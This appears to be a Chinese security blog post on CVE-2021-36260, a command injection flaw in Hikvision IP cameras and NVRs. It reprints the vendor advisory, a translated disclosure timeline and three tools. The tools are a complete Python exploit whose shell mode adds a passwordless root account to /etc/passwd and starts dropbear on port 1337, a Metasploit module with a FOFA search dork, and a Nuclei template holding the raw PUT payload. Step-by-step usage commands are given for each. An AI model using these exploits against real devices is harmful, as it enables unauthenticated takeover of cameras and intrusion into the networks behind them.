CVE-2021-36260 poc|海康威视命令注入漏洞

CVE-2021-36260 poc|海康威视命令注入漏洞

漏洞概述:

海康威视部分产品中的web模块存在一个命令注入漏洞,由于对输入参数校验不充分,攻击者可以发送带有恶意命令的报文到受影响设备,成功利用此漏洞可以导致命令执行。海康威视已发布版本修复该漏洞。

漏洞编号:

CVE-2021-36260

漏洞评分:

该漏洞使用CVSS v3标准进行分级评分
http://www.first.org/cvss/specification-document

基础得分:9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

临时得分:8.8 (E:P/RL:O/RC:C)

影响版本和修复版本:

(如升级失败,可点击 在线客服获取帮助)

序号产品名称受影响版本号修复程序下载
1DS-2CVxxxx版本build日期在210625之前点击下载
2DS-2CD1xxx点击下载
3IPCxx点击下载
4DS-IPC-Bxx
DS-IPC-Txx
点击下载
5DS-IPC-Exx
DS-IPC-Sxx
DS-IPC-Axx
DS-2XDxxxx
 点击下载
6DS-2CD2xxx点击下载
7DS-2CD3xxx点击下载
8(i)DS-2DCxxxx点击下载
9(i)DS-2DExxxx点击下载
10(i)DS-2PTxxxx点击下载
11(i)DS-2SE7xxxx点击下载
12DS-2DBxxxx点击下载
13DS-2DYHxxxx点击下载
14DS-2DY9xxxx点击下载
15iDS-2DY5Cxxx点击下载
16iDS-2DP9Cxxx-T4点击下载
17DS-2DY7xxx-CX(S5)
DS-2DF6xxx-CX(S6)
DS-2DF6Cxxx-CX(T2)
 点击下载
18iDS-2VY4xxxx点击下载
19iDS-EGDxxxx点击下载
20DS-2CD4xxx
DS-2CD5xxx
 点击下载
21DS-2CD6xxx点击下载
22DS-2CD7xxx
DS-GPZxxx
 点击下载
23DS-2CD8xxx点击下载
24DS-2XA8xxx点击下载
25DS-FCNxxxx点击下载
26iDS-2XM/CD6xxx点击下载
27DS-2DF5xxxx
DS-2DF6xxxx
DS-2DF6xxxx-Cx
DS-2DF7xxxx
DS-2DF8xxxx
DS-2DF9xxxx
  点击下载
28iDS-2VPDxxxx
iDS-2DPxxxx
点击下载
29iDS-2PT9xxxx点击下载
30iDS-2SK7xxxx
iDS-2SK8xxxx
点击下载
31iDS-2SR8xxxx点击下载
32iDS-2VSxxxx点击下载
33iDS-2VTxxxx点击下载
34iDS-GPZ2xxxx点击下载
35DS-2XE62x7FWD(D)
DS-2XE30x6FWD(B)
DS-2XE60x6FWD(B)
DS-2XE62x2F(D)
DS-2XC66x5G0
DS-2XE64x2F(B)
  点击下载
36KBA18(C)-83x6FWD点击下载
37DS-2TBxxx
DS-Bxxxx
DS-2TDxxxxB
TBC-12xxx
TBC-26xxx
版本build日期在210702之前  点击下载
38DS-2TD1xxx-xx
DS-2TD2xxx-xx
点击下载
39DS-2TD51xx-xx/W/GLT
DS-2TD55xx-xx/W
DS-2TD65xx-xx/W
 点击下载
40DS-2TD41xx-xx/Wxx
DS-2TD62xx-xx/Wxx
DS-2TD81xx-xx/Wxx
DS-2TD91xx-xx/W
DS-2TD4xxx-xx/V2
DS-2TD55xx-xx/V2
DS-2TD6xxx-xx/V2
DS-2TD81xx-xx/V2
DS-2TD91xx-xx/V2
   点击下载
41DS-76xxN-Exx
DS-78xxN-Kxx
DS-NVR-K1xx
DS-NVR-K2xx
V4.30.210 Build201224-
V4.31.000 Build210511
 点击下载

利用条件:

攻击者可连接到设备网络

攻击步骤:

发送特制的恶意报文

版本获取途径:

用户可通过海康威视官网获取补丁/更新版本。

漏洞来源:

该漏洞是由安全独立研究者Watchful IP报告给海康威视HSRC。

from

漏洞详情:

海康威视 IP 摄像机/NVR 固件中的未经身份验证的远程代码执行 (RCE) 漏洞 (CVE-2021-36260)

2021 年 6 月 20 日发现的漏洞

概括

即使使用最新固件(截至 2021 年 6 月 21 日),海康威视摄像机最近的大多数摄像机产品系列都容易受到严重的远程未经身份验证的代码执行漏洞的影响。一些较旧的型号至少早在 2016 年就受到影响。一些 NVR 也受到影响,尽管这种影响不那么普遍。

这被跟踪为CVE-2021-36260

海康威视的安全公告: 
security-notification-command-injection-vulnerability-in-some-hikvision-products

这允许攻击者通过不受限制的 root shell 获得对设备的完全控制,这比设备所有者拥有的访问权限要多得多,因为他们被限制在有限的“受保护的 shell”(psh)中,它将输入过滤到预定义的集合有限的,主要是信息性命令。

除了完全入侵 IP 摄像机之外,还可以访问和攻击内部网络。

这是最高级别的严重漏洞——一个影响大量海康威视摄像机的零点击未经身份验证的远程代码执行 (RCE) 漏洞。连接的内部网络面临风险

鉴于在敏感地点部署这些摄像头,甚至关键基础设施也可能面临风险。

可以在本文档末尾找到受影响固件类型的列表。

早在 2016 年的固件已经过测试并发现存在漏洞。

只需要访问 http(s) 服务器端口(通常为 80/443)。不需要用户名或密码,也不需要由相机所有者发起任何操作。它不会被相机本身的任何日志检测到。

这个漏洞在发现后的第二天,也就是 2021 年 6 月 21 日被报告给了海康威视。我写了一份完整的报告给他们,确定了问题代码、受影响的设备类型、POC 和解决建议。

在撰写本文时,虽然在不同的海康威视固件门户上部署不一致,但已修复的固件部分可用。

风险评估

影响:

  • 可远程利用:是
  • 需要身份验证:无
  • 零点击(设备所有者无需采取任何行动):是
  • 渲染设备无法运行:是
  • 读取客户数据:是
  • 更改客户数据:是
  • 最新固件易受攻击:是(截至 2021 年 6 月 21 日)
  • 最新产品易受攻击:是
  • 拒绝服务漏洞:是
  • 可能在现场启用物理攻击:是
  • 攻击内网:是

这是该设备类型最严重的漏洞形式。

概念验证 (POC) 示例

海康威视HSRC(海康威视安全响应中心)在我第一次向他们报告时要求对该漏洞进行POC,我在2小时左右内回复了工作代码。

由于不负责披露 POC,我决定制作一个视频来展示它的实际效果,尽管我随后同意海康威视不发布它。

与其仅仅使用我自己的设备作为目标(这似乎是人为的),我还获得了http://ipcamtalk.com论坛的朋友@alistairstevenson 的帮助,他好心地放置了一个真正的现场摄像机,并获得了利用许可。我没有被告知访问凭据,但在攻击期间很明显它运行的是 2021 年固件,并且相机是 2021 年 1 月制造的。

该视频展示了我攻击该目标的真实示例,获取应该只对所有者可用的信息,获取可通过 SSH 访问的 root shell(即使在 Web 界面中禁用了 SSH),并最终绕过相机管理 Web 门户验证。

来自真实目标 POC 视频的一些截图

我不知道 root/admin 密码。

我们获取了我们不应该获取的设备信息,/etc/passwd 的内容(管理员帐户密码始终与相机门户网站管理员密码相同),并添加我们自己的系统 root 帐户:

CVE-2021-36260 poc|海康威视命令注入漏洞

该帐户正在使用 Hikvision 限制相机所有者使用的受限信息shell,因此我们使用 /bin/sh shell 添加一个 root 帐户,通过 SSH 登录:

CVE-2021-36260 poc|海康威视命令注入漏洞

禁用网络身份验证并使用任何密码登录目标摄像机管理网页。实际上,我们已经有了一个更重要的 root shell,但我想证明此时网页登录是微不足道的:

CVE-2021-36260 poc|海康威视命令注入漏洞

有了 root shell,真正的攻击者此时可以轻松地采取大范围的敌对行动。

向海康威视提出的建议

我在提交给HSRC的报告中提出了一些建议。

我确定了问题所在的有缺陷的代码,并指出了我认为最好的补救方法。

我无法访问他们的代码库,而是需要解密固件和逆向工程代码,但我仍然找到了它。

尽快发布新固件,发布公共安全公告。

修复

从HSRC收到补丁IPC_G3(V5.5.800 build 210628)和IPC H5(V5.5.800 build 210628)固件进行测试。

除了在我自己的设备上进行实时测试外,还解密并逆向了代码,并向 HSRC 确认修补后的固件解决了该漏洞。

更高兴地注意到这个问题是按照我推荐的方式解决的。

这是中国政府授权的后门吗?

不,绝对不是。你不会这样做的。并非所有固件类型都会受到影响。

2021 年 9 月 28 日更新:此处提供扩展答案

额外的

我是一名安全研究员,曾经负责管理服务器、网络和数千人的数据,最近几个月知道这种情况如此大规模地存在一直令人担忧。

我仍然需要在报告后等待 90 天,然后才能进行任何负责任的公开披露,同时向他们提供帮助并鼓励开发、测试、发布修补固件并发布公共安全咨询。

我建议您不要将任何物联网设备暴露在互联网上,无论它是由谁制造的 – 或者该设备是在哪个国家/地区制造的(包括美国、欧洲等)。如果需要,请使用 VPN 进行访问。如果可能的话,也要阻止出站流量——我也喜欢给这些设备错误的网关(路由器)IP。

你可以在 ipcamtalk.com 或 [email protected] 上找到我警惕的IP

时间线

发现漏洞:2021 年 6 月 20 日星期日

制造商通知问题:2021 年 6 月 21 日星期一 16:16 发送至 [email protected][email protected]。不幸的是,HSRC 没有收到它,因为它被垃圾邮件过滤器捕获了。

2021 年 6 月 23 日星期三 01:00 跟进电子邮件至 [email protected][email protected],另外通过 https://www.hikvision.com/europe/support/cybersecurity/ 漏洞提交表发送电子邮件的 pdf 副本报告问题/

2021 年 6 月 23 日星期三 04:27 收到来自 [email protected] 的回复,要求报告我的调查结果。

2021 年 6 月 23 日星期三 05:40 v1.0.0 漏洞详细信息 ( WIP-2021-06-HIK-2)已通过电子邮件发送至 [email protected]

2021 年 6 月 23 日星期三 07:42 HSRC 确认他们已复制该问题。

2021 年 7 月 7 日星期三 要求在接下来的 7 天内披露时间表和 CVE 详细信息。

2021 年 7 月 12 日星期日 HSRC 通知我他们申请的 CVE ID (CVE-2021-36260)

2021 年 8 月 4 日,星期三,在我 2021 年 9 月 20 日的初次报告后 90 天,通知 HSRC 我打算进行有限公开披露。我坚持认为公司/最终用户知道存在风险,他们需要更新设备。

2021 年 8 月 17 日星期二 HSRC 发送修补的 IPC_G3(2021 年 6 月 28 日建成)和 IPC_H5(2021 年 6 月 28 日建成)进行测试

2021 年 8 月 18 日星期三通知 HSRC 对修补固件的测试已完成——敦促他们尽快在所有固件门户上发布固件。

2021 年 9 月 18 日星期六,我和海康威视发布各自的咨询/报告

from

CVE-2021-36260 poc

注意事项:

poc仅用于渗透测试人员对自身系统进行测试,切勿用于任何违法犯罪活动.

CVE-2021-36260.py

# Exploit Title: Hikvision Web Server Build 210702 - Command Injection
# Exploit Author: bashis
# Vendor Homepage: https://www.hikvision.com/
# Version: 1.0
# CVE: CVE-2021-36260
# Reference: https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html

# All credit to Watchful_IP

#!/usr/bin/env python3

"""
Note:
1)  This code will _not_ verify if remote is Hikvision device or not.
2)  Most of my interest in this code has been concentrated on how to
    reliably detect vulnerable and/or exploitable devices.
    Some devices are easy to detect, verify and exploit the vulnerability,
    other devices may be vulnerable but not so easy to verify and exploit.
    I think the combined verification code should have very high accuracy.
3)  'safe check' (--check) will try write and read for verification
    'unsafe check' (--reboot) will try reboot the device for verification
[Examples]
Safe vulnerability/verify check:
    $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check
Safe and unsafe vulnerability/verify check:
(will only use 'unsafe check' if not verified with 'safe check')
    $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check --reboot
Unsafe vulnerability/verify check:
    $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --reboot
Launch and connect to SSH shell:
    $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --shell
Execute command:
    $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --cmd "ls -l"
Execute blind command:
    $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --cmd_blind "reboot"
$./CVE-2021-36260.py -h
[*] Hikvision CVE-2021-36260
[*] PoC by bashis <mcw noemail eu> (2021)
usage: CVE-2021-36260.py [-h] --rhost RHOST [--rport RPORT] [--check]
                         [--reboot] [--shell] [--cmd CMD]
                         [--cmd_blind CMD_BLIND] [--noverify]
                         [--proto {http,https}]
optional arguments:
  -h, --help            show this help message and exit
  --rhost RHOST         Remote Target Address (IP/FQDN)
  --rport RPORT         Remote Target Port
  --check               Check if vulnerable
  --reboot              Reboot if vulnerable
  --shell               Launch SSH shell
  --cmd CMD             execute cmd (i.e: "ls -l")
  --cmd_blind CMD_BLIND
                        execute blind cmd (i.e: "reboot")
  --noverify            Do not verify if vulnerable
  --proto {http,https}  Protocol used
$
"""

import os
import argparse
import time

import requests
from requests import packages
from requests.packages import urllib3
from requests.packages.urllib3 import exceptions


class Http(object):
    def __init__(self, rhost, rport, proto, timeout=60):
        super(Http, self).__init__()

        self.rhost = rhost
        self.rport = rport
        self.proto = proto
        self.timeout = timeout

        self.remote = None
        self.uri = None

        """ Most devices will use self-signed certificates, suppress any warnings """
        requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

        self.remote = requests.Session()

        self._init_uri()

        self.remote.headers.update({
            'Host': f'{self.rhost}:{self.rport}',
            'Accept': '*/*',
            'X-Requested-With': 'XMLHttpRequest',
            'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
            'Accept-Encoding': 'gzip, deflate',
            'Accept-Language': 'en-US,en;q=0.9,sv;q=0.8',
        })
        """
        self.remote.proxies.update({
            # 'http': 'http://127.0.0.1:8080',
        })
        """

    def send(self, url=None, query_args=None, timeout=5):

        if query_args:
            """Some devices can handle more, others less, 22 bytes seems like a good compromise"""
            if len(query_args) > 22:
                print(f'[!] Error: Command "{query_args}" to long ({len(query_args)})')
                return None

        """This weird code will try automatically switch between http/https
        and update Host
        """
        try:
            if url and not query_args:
                return self.get(url, timeout)
            else:
                data = self.put('/SDK/webLanguage', query_args, timeout)
        except requests.exceptions.ConnectionError:
            self.proto = 'https' if self.proto == 'http' else 'https'
            self._init_uri()
            try:
                if url and not query_args:
                    return self.get(url, timeout)
                else:
                    data = self.put('/SDK/webLanguage', query_args, timeout)
            except requests.exceptions.ConnectionError:
                return None
        except requests.exceptions.RequestException:
            return None
        except KeyboardInterrupt:
            return None

        """302 when requesting http on https enabled device"""

        if data.status_code == 302:
            redirect = data.headers.get('Location')
            self.uri = redirect[:redirect.rfind('/')]
            self._update_host()
            if url and not query_args:
                return self.get(url, timeout)
            else:
                data = self.put('/SDK/webLanguage', query_args, timeout)

        return data

    def _update_host(self):
        if not self.remote.headers.get('Host') == self.uri[self.uri.rfind('://') + 3:]:
            self.remote.headers.update({
                'Host': self.uri[self.uri.rfind('://') + 3:],
            })

    def _init_uri(self):
        self.uri = '{proto}://{rhost}:{rport}'.format(proto=self.proto, rhost=self.rhost, rport=str(self.rport))

    def put(self, url, query_args, timeout):
        """Command injection in the <language> tag"""
        query_args = '<?xml version="1.0" encoding="UTF-8"?>' \
                     f'<language>$({query_args})</language>'
        return self.remote.put(self.uri + url, data=query_args, verify=False, allow_redirects=False, timeout=timeout)

    def get(self, url, timeout):
        return self.remote.get(self.uri + url, verify=False, allow_redirects=False, timeout=timeout)


def check(remote, args):
    """
    status_code == 200 (OK);
        Verified vulnerable and exploitable
    status_code == 500 (Internal Server Error);
        Device may be vulnerable, but most likely not
        The SDK webLanguage tag is there, but generate status_code 500 when language not found
        I.e. Exist: <language>en</language> (200), not exist: <language>EN</language> (500)
        (Issue: Could also be other directory than 'webLib', r/o FS etc...)
    status_code == 401 (Unauthorized);
        Defiantly not vulnerable
    """
    if args.noverify:
        print(f'[*] Not verifying remote "{args.rhost}:{args.rport}"')
        return True

    print(f'[*] Checking remote "{args.rhost}:{args.rport}"')

    data = remote.send(url='/', query_args=None)
    if data is None:
        print(f'[-] Cannot establish connection to "{args.rhost}:{args.rport}"')
        return None
    print('[i] ETag:', data.headers.get('ETag'))

    data = remote.send(query_args='>webLib/c')
    if data is None or data.status_code == 404:
        print(f'[-] "{args.rhost}:{args.rport}" do not looks like Hikvision')
        return False
    status_code = data.status_code

    data = remote.send(url='/c', query_args=None)
    if not data.status_code == 200:
        """We could not verify command injection"""
        if status_code == 500:
            print(f'[-] Could not verify if vulnerable (Code: {status_code})')
            if args.reboot:
                return check_reboot(remote, args)
        else:
            print(f'[+] Remote is not vulnerable (Code: {status_code})')
        return False

    print('[!] Remote is verified exploitable')
    return True


def check_reboot(remote, args):
    """
    We sending 'reboot', wait 2 sec, then checking with GET request.
    - if there is data returned, we can assume remote is not vulnerable.
    - If there is no connection or data returned, we can assume remote is vulnerable.
    """
    if args.check:
        print('[i] Checking if vulnerable with "reboot"')
    else:
        print(f'[*] Checking remote "{args.rhost}:{args.rport}" with "reboot"')
    remote.send(query_args='reboot')
    time.sleep(2)
    if not remote.send(url='/', query_args=None):
        print('[!] Remote is vulnerable')
        return True
    else:
        print('[+] Remote is not vulnerable')
        return False


def cmd(remote, args):
    if not check(remote, args):
        return False
    data = remote.send(query_args=f'{args.cmd}>webLib/x')
    if data is None:
        return False

    data = remote.send(url='/x', query_args=None)
    if data is None or not data.status_code == 200:
        print(f'[!] Error execute cmd "{args.cmd}"')
        return False
    print(data.text)
    return True


def cmd_blind(remote, args):
    """
    Blind command injection
    """
    if not check(remote, args):
        return False
    data = remote.send(query_args=f'{args.cmd_blind}')
    if data is None or not data.status_code == 500:
        print(f'[-] Error execute cmd "{args.cmd_blind}"')
        return False
    print(f'[i] Try execute blind cmd "{args.cmd_blind}"')
    return True


def shell(remote, args):
    if not check(remote, args):
        return False
    data = remote.send(url='/N', query_args=None)

    if data.status_code == 404:
        print(f'[i] Remote "{args.rhost}" not pwned, pwning now!')
        data = remote.send(query_args='echo -n P::0:0:W>N')
        if data.status_code == 401:
            print(data.headers)
            print(data.text)
            return False
        remote.send(query_args='echo :/:/bin/sh>>N')
        remote.send(query_args='cat N>>/etc/passwd')
        remote.send(query_args='dropbear -R -B -p 1337')
        remote.send(query_args='cat N>webLib/N')
    else:
        print(f'[i] Remote "{args.rhost}" already pwned')

    print(f'[*] Trying SSH to {args.rhost} on port 1337')
    os.system(f'stty echo; stty iexten; stty icanon; \
    ssh -o StrictHostKeyChecking=no -o LogLevel=error -o UserKnownHostsFile=/dev/null \
    P@{args.rhost} -p 1337')


def main():
    print('[*] Hikvision CVE-2021-36260\n[*] PoC by bashis <mcw noemail eu> (2021)')

    parser = argparse.ArgumentParser()
    parser.add_argument('--rhost', required=True, type=str, default=None, help='Remote Target Address (IP/FQDN)')
    parser.add_argument('--rport', required=False, type=int, default=80, help='Remote Target Port')
    parser.add_argument('--check', required=False, default=False, action='store_true', help='Check if vulnerable')
    parser.add_argument('--reboot', required=False, default=False, action='store_true', help='Reboot if vulnerable')
    parser.add_argument('--shell', required=False, default=False, action='store_true', help='Launch SSH shell')
    parser.add_argument('--cmd', required=False, type=str, default=None, help='execute cmd (i.e: "ls -l")')
    parser.add_argument('--cmd_blind', required=False, type=str, default=None, help='execute blind cmd (i.e: "reboot")')
    parser.add_argument(
        '--noverify', required=False, default=False, action='store_true', help='Do not verify if vulnerable'
    )
    parser.add_argument(
        '--proto', required=False, type=str, choices=['http', 'https'], default='http', help='Protocol used'
    )
    args = parser.parse_args()

    remote = Http(args.rhost, args.rport, args.proto)

    try:
        if args.shell:
            shell(remote, args)
        elif args.cmd:
            cmd(remote, args)
        elif args.cmd_blind:
            cmd_blind(remote, args)
        elif args.check:
            check(remote, args)
        elif args.reboot:
            check_reboot(remote, args)
        else:
            parser.parse_args(['-h'])
    except KeyboardInterrupt:
        return False


if __name__ == '__main__':
    main()
            
CVE-2021-36260 poc|海康威视命令注入漏洞

CVE-2021-36260 一些海康威视产品的Web服务器中的POC命令注入漏洞。由于输入验证不充分,攻击者可以利用该漏洞通过发送一些带有恶意命令的消息来发起命令注入攻击。

漏洞利用名称:Hikvision Web Server Build 210702 – 命令注入
(Hikvision Web Server Build 210702 – Command Injection)

漏洞利用作者:bashis

供应商主页:www.hikvision.com/

版本:1.0

CVE:CVE-2021-36260

参考:
watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html

全部归功于 Watchful_IP

笔记:

  1. 此代码不会验证是否为海康威视设备。
  2. 我对这段代码的大部分兴趣都集中在如何可靠地检测易受攻击和/或可利用的设备上。一些设备很容易检测、验证和利用漏洞,其他设备可能容易受到攻击但不容易验证和利用。我认为组合验证码应该具有非常高的准确性。
  3. “安全检查”(–check)将尝试写入和读取以进行验证“不安全检查”(–reboot)将尝试重新启动设备以进行验证

poc使用方法

[示例] 安全漏洞/验证检查:

CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check

安全和不安全漏洞/验证检查:(如果未使用“安全检查”进行验证,则仅使用“不安全检查”)

CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check --reboot

不安全漏洞/验证检查:

CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --reboot

启动并连接到 SSH shell:

CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --shell

执行命令:

CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --cmd "ls -la"

执行盲命令:

CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --cmd_blind "reboot"

from

CVE-2021-36260 metasploit poc模块

CVE-2021-36260-metasploit模块

#!/usr/bin/env python3
from metasploit import module

dependencies_missing = False
try:
    import requests
    import time
except ImportError:
    dependencies_missing = True

metadata = {
    'name': 'Hikvision Web Server Build 210702 - Command Injection POC',
    'description': '''
    Hikvision Web Server Build 210702 - Command Injection
    fofa search dork: app="HIKVISION-视频监控"
    ''',
    'authors': ["Taroballz", "ITRI-PTTeam"],
    'references': [
        {"type": "cve", "ref": "2021-36260"},
    ],
    'date': "2021-11-02",
    "type": "dos",
    "options": {
        'rhost': {'type': 'address', 'description': "Target address", 'required': True, 'default': None},
        'rport': {"type": "int", "description": "port", "required": True, "default": 80},
        'rssl': {"type": "bool", "description": "Negotiate SSL for outgoing connections", "required": True,
                 "default": 'false'},
    }
}


class Http(object):
    def __init__(self, rhost, rport, proto, timeout=60):
        super(Http, self).__init__()

        self.rhost = rhost
        self.rport = rport
        self.proto = proto
        self.timeout = timeout

        self.remote = None
        self.uri = None

        """ Most devices will use self-signed certificates, suppress any warnings """
        requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

        self.remote = requests.Session()

        self._init_uri()

        self.remote.headers.update({
            'Host': f'{self.rhost}:{self.rport}',
            'Accept': '*/*',
            'X-Requested-With': 'XMLHttpRequest',
            'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
            'Accept-Encoding': 'gzip, deflate',
            'Accept-Language': 'en-US,en;q=0.9,sv;q=0.8',
        })

    def send(self, url=None, query_args=None, timeout=5):

        if query_args:
            """Some devices can handle more, others less, 22 bytes seems like a good compromise"""
            if len(query_args) > 22:
                module.log(f'Error: Command "{query_args}" to long ({len(query_args)})', 'error')
                return None

        """This weird code will try automatically switch between http/https
        and update Host
        """
        try:
            if url and not query_args:
                return self.get(url, timeout)
            else:
                data = self.put('/SDK/webLanguage', query_args, timeout)
        except requests.exceptions.ConnectionError:
            self.proto = 'https' if self.proto == 'http' else 'https'
            self._init_uri()
            try:
                if url and not query_args:
                    return self.get(url, timeout)
                else:
                    data = self.put('/SDK/webLanguage', query_args, timeout)
            except requests.exceptions.ConnectionError:
                return None
        except requests.exceptions.RequestException:
            return None
        except KeyboardInterrupt:
            return None

        """302 when requesting http on https enabled device"""

        if data.status_code == 302:
            redirect = data.headers.get('Location')
            self.uri = redirect[:redirect.rfind('/')]
            self._update_host()
            if url and not query_args:
                return self.get(url, timeout)
            else:
                data = self.put('/SDK/webLanguage', query_args, timeout)

        return data

    def _update_host(self):
        if not self.remote.headers.get('Host') == self.uri[self.uri.rfind('://') + 3:]:
            self.remote.headers.update({
                'Host': self.uri[self.uri.rfind('://') + 3:],
            })

    def _init_uri(self):
        self.uri = '{proto}://{rhost}:{rport}'.format(proto=self.proto, rhost=self.rhost, rport=str(self.rport))

    def put(self, url, query_args, timeout):
        """Command injection in the <language> tag"""
        query_args = '<?xml version="1.0" encoding="UTF-8"?>' \
                     f'<language>$({query_args})</language>'
        return self.remote.put(self.uri + url, data=query_args, verify=False, allow_redirects=False, timeout=timeout)

    def get(self, url, timeout):
        return self.remote.get(self.uri + url, verify=False, allow_redirects=False, timeout=timeout)


def check(remote):
    """
    status_code == 200 (OK);
        Verified vulnerable and exploitable
    status_code == 500 (Internal Server Error);
        Device may be vulnerable, but most likely not
        The SDK webLanguage tag is there, but generate status_code 500 when language not found
        I.e. Exist: <language>en</language> (200), not exist: <language>EN</language> (500)
        (Issue: Could also be other directory than 'webLib', r/o FS etc...)
    status_code == 401 (Unauthorized);
        Defiantly not vulnerable
    """

    module.log(f'Checking remote "{remote.rhost}:{remote.rport}"', 'info')

    data = remote.send(url='/', query_args=None)
    if data is None:
        module.log(f'Cannot establish connection to "{remote.rhost}:{remote.rport}"', 'error')
        return None
    module.log(f'ETag:{data.headers.get("ETag")}', 'info')

    data = remote.send(query_args='>webLib/c')
    if data is None or data.status_code == 404:
        module.log(f'"{remote.rhost}:{remote.rport}" do not looks like Hikvision')
        return False
    status_code = data.status_code

    data = remote.send(url='/c', query_args=None)
    if not data.status_code == 200:
        """We could not verify command injection"""
        if status_code == 500:
            module.log(f'Could not verify if vulnerable (Code: {status_code})', 'info')
            module.log(f'send reboot payload for check', 'info')
            return check_reboot(remote)

        else:
            module.log(f'Remote is not vulnerable (Code: {status_code})', 'error')
        return False

    module.log(f'Remote:{remote.rhost}:{remote.rport} is verified exploitable', 'good')
    return True


def check_reboot(remote):
    """
    We sending 'reboot', wait 2 sec, then checking with GET request.
    - if there is data returned, we can assume remote is not vulnerable.
    - If there is no connection or data returned, we can assume remote is vulnerable.
    """
    module.log(f'Checking remote "{remote.rhost}:{remote.rport}" with "reboot"')
    remote.send(query_args='reboot')
    time.sleep(2)
    if not remote.send(url='/', query_args=None):
        module.log('Remote is vulnerable', 'good')
        return True
    else:
        module.log('Remote is not vulnerable', 'error')
        return False


def cmd(remote, cmd):
    if not check(remote):
        return False
    data = remote.send(query_args=f'{cmd}>webLib/x')
    if data is None:
        module.log(f'Error execute cmd "{cmd}" and the data is None', 'error')
        return False

    data = remote.send(url='/x', query_args=None)
    if data is None or not data.status_code == 200:
        module.log(f'Error execute cmd "{cmd}"', 'error')
        return False
    module.log(f'pwd command: {data.text}', 'good')
    return True


def run(args):
    if dependencies_missing:
        module.log("Module dependencies (requests) missing, cannot continue", level="error")
        return

    host = args['rhost']
    if host[-1:] == '/':
        host = host[:-1]

    if args["rssl"] == "true":
        proto = "https"
    else:
        proto = "http"

    port = args["rport"]

    remote = Http(host, port, proto)

    try:
        cmd(remote, "pwd")
    except Exception as e:
        module.log(str(e), "error")


if __name__ == '__main__':
    module.run(metadata, run)
CVE-2021-36260 poc|海康威视命令注入漏洞

使用方法:

下载导入模块

git clone https://github.com/TaroballzChen/CVE-2021-36260-metasploit
cd CVE-2021-36260-metasploit
mkdir -p ~/.msf4/modules/auxiliary/scanner/http
cp hikvision_web_server_build_210702_command_injection.py ~/.msf4/modules/auxiliary/scanner/http/
chmod +x ~/.msf4/modules/auxiliary/scanner/http/hikvision_web_server_build_210702_command_injection.py
msfconsole

用法:

use auxiliary/scanner/http/hikvision_web_server_build_210702_command_injection
set rhost <漏洞 ip/host>
set port <漏洞端口>
set ssl <默认,不用填写: false for http>
exploit
CVE-2021-36260 poc|海康威视命令注入漏洞

默认代码里使用的时pwd命令进行检测,可自行在如下地址进行修改文件.

CVE-2021-36260 poc|海康威视命令注入漏洞
/root/.msf4/modules/auxiliary/scanner/http/hikvision_web_server_build_210702_command_injection.py

from

nuclei CVE-2021-36260漏洞检测脚本

CVE-2021-36260.yaml

id: CVE-2021-36260

info:
  name: Hikvision IP camera/NVR - Unauthenticated RCE
  author: pdteam,gy741
  severity: critical
  description: A command injection vulnerability in the web server of some Hikvision product. Due to the insufficient input validation, attacker can exploit the vulnerability to launch a command injection attack by sending some messages with malicious commands.
  reference:
    - https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html
    - https://www.hikvision.com/en/support/cybersecurity/security-advisory/security-notification-command-injection-vulnerability-in-some-hikvision-products/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-36260
    - https://github.com/Aiminsun/CVE-2021-36260
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-36260
    cwe-id: CWE-77,CWE-20
  metadata:
    shodan-query: http.favicon.hash:999357577
  tags: cve,cve2021,hikvision,rce,iot,intrusive

requests:
  - raw:
      - |
        PUT /SDK/webLanguage HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        <?xml version="1.0" encoding="UTF-8"?><language>$(id>webLib/x)</language>
      - |
        GET /x HTTP/1.1
        Host: {{Hostname}}
    req-condition: true
    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "contains(body_2,'uid=') && contains(body_2,'gid=')"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        regex:
          - "(u|g)id=.*"

用法

./nuclei -u http://192.168.1.11:8080 -t /root/nuclei-templates/cves/2021/CVE-2021-36260.yaml  -v
CVE-2021-36260 poc|海康威视命令注入漏洞
nuclei模块执行修改要执行的命令
CVE-2021-36260 poc|海康威视命令注入漏洞
成功执行命令

nuclei误报,但命令已经执行成功.

from

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注